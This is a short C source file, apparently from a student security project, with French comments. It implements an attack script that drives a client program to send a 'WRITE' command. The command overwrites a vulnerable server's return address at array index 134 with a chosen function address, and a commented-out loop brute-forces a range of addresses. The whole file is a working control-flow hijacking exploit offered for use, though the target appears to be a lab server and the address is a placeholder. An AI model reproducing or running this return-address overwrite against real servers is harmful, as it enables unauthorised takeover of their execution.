PIR/attaque.c

71 lines
1.7 KiB
C

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
/**
* Lance un client, exécute une commande, puis quitte le client
* @param host L'adresse du serveur
* @param port Le port sur lequel se connecter
* @param cmd La commande à exécuter
* @return Le statut du client
*/
int runClientWithCommand(char *host, char *port, char *cmd) {
// Démarrage du client
char prog_name[100];
sprintf(prog_name, "./client %s %s", host, port);
// Récupération de l'entrée standard
FILE *prog = popen(prog_name, "w");
usleep(1000);
if (prog == NULL) {
printf("ERREUR\n");
return -1;
}
// Écriture de la commande
fprintf(prog, "%s", cmd);
printf("%s", cmd);
usleep(1000);
// Fermeture du client
fprintf(prog, "QUIT\n");
printf("QUIT\n");
return pclose(prog);
}
void hackServer(char *host, char *port, long addr) {
printf("-- Écrasement de l'adresse de retour par %p --\n", (void *) addr);
char buf[100];
// L'index 134 du tableau correspond à l'adresse de retour
sprintf(buf, "WRITE %ld 134\n", addr);
runClientWithCommand(host, port, buf);
}
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("Usage : ./attaque addresseServeur portServeur\n");
return 2;
}
int port = atoi(argv[2]);
if (port <= 0 || port > 65535) {
printf("Usage : ./attaque addresseServeur portServeur\n");
return 3;
}
// Adresse à modifier avec l'adresse d'une fonction du serveur
long address = 0xffffffff;
hackServer(argv[1], argv[2], address);
// long begin = 1448463905;
// long end = 1449434657;
// printf("testing %ld possibilities...\n", end - begin);
//
// for (long addr = begin; addr < end; ++addr) {
// runClient(argv[1], argv[2], addr);
// }
return 0;
}